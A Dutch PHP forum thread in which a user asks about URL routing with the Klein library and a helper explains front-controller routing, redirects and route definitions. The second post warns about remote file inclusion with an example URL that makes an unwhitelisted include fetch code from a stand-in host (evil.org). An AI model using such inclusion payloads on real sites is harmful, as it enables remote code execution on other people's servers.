PHP routing gebruiken zonder gebruik van MVC model.

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Jin vanTongeren

Jin vanTongeren

24/11/2019 17:53:39
Quote Anchor link
Hallo,
Ik wil graag een routing systeem maken.
Ik gebruik hiervoor de library Klein en ik snap niet echt hoe dit nou werkt.
Ik ben sowieso niet ervaren met het MVC model, maar ik ken de theorie erachter wel een beetje.
Ik wil geen gebruik maken van model / view / controller, want dan moet mijn huidige project worden omgegooid en opnieuw worden opgebouwd en daar heb ik geen zin in.
Maar ik wil wel gebruik maken van dingen zoals;
Quote:
example.com/user/12
.
En dan zou de gebruiker met id 12 moeten worden weergegeven.
Ik heb het ophalen van de database gefixt, maar het routing onderdeel werkt niet.
Ik heb nu gewoon een link die naar
Quote:
example.com/users?id=23
gaat en dan bij de users.php bestand is het gewoon ophalen van de database, dmv
Quote:
SELECT * FROM DATBASE WHERE ID = ?
en dan het hele fetch proces.
De library klein heeft voor zover ik heb begrepen, geen redirect functie. (Tenminste, ik ga ervan uit dat je dan wordt doorgestuurd naar de users.php pagina met de juiste parameters)
Kan iemand mij uitleggen hoe routing precies werkt en hoe de library klein werkt?

alvast bedankt,
 
PHP hulp

PHP hulp

19/04/2024 09:24:32
 
Thomas van den Heuvel

Thomas van den Heuvel

25/11/2019 00:32:03
Quote Anchor link
Eerst misschien wat mogelijke misverstanden rechtzetten.

Volgens mij maakt Klein geen/niet expliciet gebruik van MVC - het doet denk ik geen precieze aannames over hoe de onderliggende organisatie van code is, hier ben je vrij in. Daarnaast werken de routingsystemen die van MVC gebruik maken vaak met een URL-opbouw in de vorm van /<controller>/<actie>[/<argument paren>], maar misschien zit daar tegenwoordig meer flexibiliteit in. Voor zover ik Klein heb bekeken programmeer je deze mappings allemaal zelf, dus daar ben je helemaal vrij in de naamgeving. Hoe dan ook, gebruikmaking van MVC is geen noodzakelijke voorwaarde voor het maken van een eigen routingsysteem. Neemt niet weg dat hier een bepaalde logica/structuur in dient te zitten.

Quote:
Ik wil geen gebruik maken van model / view / controller, want dan moet mijn huidige project worden omgegooid en opnieuw worden opgebouwd en daar heb ik geen zin in.

Dat is geen reden... Ik zou ook wel willen dat code voor ingewikkelde dingen zichzelf schrijft, maar dat is ook niet de realiteit :p. En wat voor aanpak je ook gebruikt, het loont de moeite om hier veel (denk)werk in te steken. Dit scheelt je later veel hoofdpijn. En als je daar geen zin in hebt: gebruik je toch lekker een standaard lib/module/whatever. Volgens mij voldoet Klein prima, maar dan moet je wel effe uitzoeken hoe dat dan werkt... Als dat je al teveel is dan weet ik niet of het verstandig is om dan maar zelf aan een routingsysteem te beginnen.

Zal je vast een onaangename verrassing besparen: als je zelf aan de slag gaat met routing reken er dan op dat dit flink wat tijd gaat kosten.

Quote:
De library klein heeft voor zover ik heb begrepen, geen redirect functie.

Errrrr. Als je hiermee bedoelt "Klein heeft geen functionaliteit voor een mapping van een externe aanroep naar een interne afhandeling", nou ja, die heb je dus wel, die mappings definieer je zelf. Klein kan niet weten hoe jouw applicatie/website er uit dient te zien, dus dat zul je zelf moeten definiëren/programmeren. Zie het klassieke Hello World voorbeeld. Die code plaats je dan in het bestand waar alle requests naar doorgestuurd worden (doorgaans index.php). Dit is letterlijk de derde paragraaf van het README bestand. Klein ondersteunt ook (externe) redirects. Dus eigenlijk kan ik je opmerking niet goed plaatsen.

Dan komt je vraag eigenlijk neer op "ik snap weinig van Klein en oh leg ook routing ff uit". Dat is nogal breed niet?

Goed, de "historie" van routing zoals dat meestal gaat als je zelf websites aan het breien bent.

In den beginne... hab je een eenvoudige website die bestaat uit losse .html- of .php-bestanden. Denk bijvoorbeeld aan /index.php, /contact.php, /openingstijden.php et cetera. Een request aan de webserver vraagt dus letterlijk (de inhoud van) het PHP-bestand op. Dit zijn alle "fysieke" bestanden. De webserver krijgt bijvoorbeeld een verzoek voor /contact.php. Deze ziet dat het bestand bestaat en dat het PHP betreft. Deze wordt eerst doorgegooid naar de PHP-scripting engine die de PHP-code uitvoert en (meestal) HTML-output genereert. Vervolgens serveert de webserver deze output terug aan de browser.

Het "nadeel" hiervan is dat elk PHP-bestand een "ingang" in jouw website/applicatie vormt. Elk bestand is namelijk een standalone script die een bijbehorende complete HTML-pagina genereert. Al deze bestanden volgen dus meestal ook in grote lijnen dezelfde opbouw: verbinding maken met de database, inladen van functies en classes, de algemene opbouw van de HTML-pagina - het enige wat in wezen verschilt is het kleine stukje content dat uniek is voor die pagina.

Omdat bij deze aanpak het gevaar loert dat je een soort van aardappelstempel hanteert op het moment dat je een nieuwe pagina maakt creëer je mogelijk een heleboel overhead. Als je namelijk niet iets slims had bedacht voor het genereren van de layout van je webpagina heb je mogelijk ineens een heleboel werk als er een layoutwijzging doorgevoerd moet worden: je hebt immers tig (min of meer gelijke) kopieën van dezelfde layout.

Ook uit oogpunt van security wil je eigenlijk zo min mogelijk "ingangen" in je applicatie. Want ook hier geldt min of meer hetzelfde: als er in de code vanwege externe gevaren dingen gewijzigd moeten worden moet je dit mogelijk vanwege de aard van het "stand alone" zijn van de PHP-bestanden allerlei wijzigingen op tig plaatsen doorvoeren.

Een eerste idee: laat alles via index.php verlopen
Dat is al wat beter, maar dan kreeg je meestal sites als /index.php?page=main, /index.php?page=contact et cetera. In index.php stond dan een (enorm) switch-statement waarbij $_GET['page'] geïnspecteerd werd of gewoon direct $_GET['page'] ge-include werd. En als je je dan niet bediende van een soort van whitelist van toegestane waarden viel je site meestal ten prooi aan externe code injectie (/index.php?http://evil.org/hack-me-pls.txt die vervolgens als PHP verwerkt werd). Dus zelfs bij een hele eenvoudige variant moet je al héél erg goed doorhebben hoe alles werkt...

Maar toen werden indexeerbaarheid en zoekmachinevriendelijke URL's een ding. Dynamische pagina's zoals de bovenstaande waren in beginsel moeilijk te onderscheiden als zijnde echt unieke pagina's, dus zo'n aanpak met /index.php?page=yadda kwam je SEO-notering waarschijnlijk niet ten goede. Plus het staat gewoon ontzettend lelijk en het is ook niet makkelijk te onthouden.

Dus toen gingen we de oorspronkelijke variant nog eens dunnetjes overdoen door de externe aanroep te scheiden van de interne verwerking middels (bijvoorbeeld) RewriteRules. Hierbij werd de webserver in zekere zin nog steeds rechtstreeks verteld welke bestanden deze aan moest roepen, dit keer op basis van patronen, wildcards en de hele santekraam. Maar dit is eigenlijk nog steeds een gribus: je hebt een moeilijk onderhoudbare externe lijst (meestal een los extern bestand - .htaccess - met een zeer specifieke sytax) die heel makkelijk breekt en waar op een gegeven moment gewoon een complete wildgroei ontstaat. Daarnaast heb je potentieel nog steeds het oorspronkelijke probleem waarbij aan allemaal op zichzelf staande bestanden gerefereerd wordt.

En dan settle je uiteindelijk voor een library of framework of je rolt je eigen ding waarbij je alle requests doorstuurt naar /index.php (interne link). En daar, dus binnen je applicatie, "reken" je "uit" of de pagina bestaat en welke code hier bijhoort en uitgevoerd dient te worden. Voor het stroomlijnen en vergemakkelijken van het invoegen van code/classes is het waarschijnlijk heel erg handig om een autoloader (interne link) te gebruiken.

Wat je bij dit laatste moet begrijpen is dat je in wezen een deel van de werkzaamheden van de webserver (request/response) overneemt en binnen je applicatie trekt en je dus in feite de response zelf uitrekent. Maar dat heeft dus wel wat voeten in de aarde en voert veel verder dan simpelweg "een mapping van een externe aanroep naar een intern pad / het uitvoeren van specifieke code", je moet dan ook gaan nadenken over hoe je je response (meestal: het "HTML-document", of algemener, je content) opbouwt (en serveert) en welke HTTP-headers je allemaal meestuurt et cetera. Dit is bepaald geen sinecure.

Op het moment dat je met routing aan de slag gaat komen er ook ineens een heleboel disciplines bij elkaar want dit is de plek waar de webapplicatie zijn ding doet. Van al deze disciplines zul je dus ook iets af moeten weten.

Maar crux is dus dat alle requests worden doorgestuurd naar een "single point of entry" (index.php) waar de webapplicatie de verdere verwerking overneemt. Dit zul je haast in alle routing-achtige functionaliteit terugzien. Ook Klein hanteert dit principe.

---

En over de Klein library: bekijk de documentatie en probeer wat uit zou ik zeggen, er worden voorbeelden bijgeleverd en het vraagstuk is niet uniek, kan mij niet voorstellen dat jij de enige bent die deze vraag had (wat moet ik nu precies doen om dit aan de praat te krijgen?) dus ik zou zeggen Googlen maar.

Ik kan "begrip" niet uitleggen, dit is iets wat je op den duur zelf zult moeten vormen. Al dan niet met behulp van voorbeelden van anderen.

Je zou eens door de oudere berichten van deze blog kunnen lopen, daar is uitgebreider over deze onderwerpen geschreven. Zou je ook zeker aanraden om meerdere artikelen (en niet alleen die van mij) te lezen, wellicht doet dat je ertoe besluiten om jouw eigen versie te rollen of toch maar een lib te gebruiken. Wat daar beschreven wordt is slechts "een" manier, maar denk dat de principes altijd wel min of meer hetzelfde blijven. Maar goed, ga je zelf aan de slag: bereid je voor op wat (extra) zelfstudie.

EDIT: zinsopbouw, spelling
Gewijzigd op 25/11/2019 01:21:41 door Thomas van den Heuvel
 
Jin vanTongeren

Jin vanTongeren

25/11/2019 16:47:34
Quote Anchor link
Bedankt voor je antwoord.
Ik heb nu een duidelijker beeld van Routing.
Ik heb nu dmv .htaccess alles doorgestuurd naar index.php
1 ding dat ik nog steeds niet van de library Klein begrijp is de redirect() functie.
Welke parameters moet ik er neerzetten? Er staat url en $code = 302. Moet ik een code invoeren (ik denk het niet)
Maar wil je nog even uitleggen hoe je de redirect() functie gebruikt?
En met parameters in de url?
Tenminste, dan zie je geen
Quote:
/users?id=23
, maar zo wordt het dan wel ontvangen zeg maar. (Als je begrijpt wat ik bedoel.
 
Thomas van den Heuvel

Thomas van den Heuvel

25/11/2019 17:14:37
Quote Anchor link
Er is een verschil tussen een "interne" redirect en een "externe" redirect.

Een interne redirect is bedoeld om een (extern) aangeroepen URL door te mappen naar een intern pad (of een stuk logica die de applicatie begrijpt) die het request verder afhandelt. Dit is waar je waarschijnlijk naar op zoek bent. Hierbij "blijf je waar je zit", je verandert niet van locatie (URL).

Een externe redirect is bedoeld om te verplaatsen van URL A naar URL B. Hierbij verander je dus wel van locatie. Dit gebruik je bijvoorbeeld wanneer een pagina permanent verhuisd is van een oude naar een nieuwe locatie en je aangeeft waar je de pagina kunt vinden. Of op het moment dat je klaar bent met het verwerken van een gePOST formulier, meestal verhuis je dan na afloop direct door naar een andere pagina. Dit zodat men niet naar een submitpagina kan terugnavigeren en daarmee mogelijk per ongeluk informatie dubbel post.

Wat je dus in die index.php moet programmeren is in grote lijnen wat in de voorbeelden staat. Als je daar nog even wat verder bladert onder het stukje namespaces zie je bijna precies wat je zoekt:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$klein
->with('/users', function () use ($klein) {

    $klein->respond('GET', '/?', function ($request, $response) {
        // Show all users
    });

    $klein->respond('GET', '/[:id]', function ($request, $response) {
        // Show a single user
    });

});

?>

Dat $klein->respond(...) daar programmeer je dus welke "applicatie-paden" opgepikt moeten worden, en welke vorm deze dienen te hebben. En hierbij kun je dus patronen gebruiken zoals [:id]. Ook dit alles staat verderop uitgelegd onder het kopje Routing.

Ik stel je toch (opnieuw) voor om gewoon eens door de README heen te lezen en eens wat dingen te proberen.
Gewijzigd op 25/11/2019 17:17:23 door Thomas van den Heuvel
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.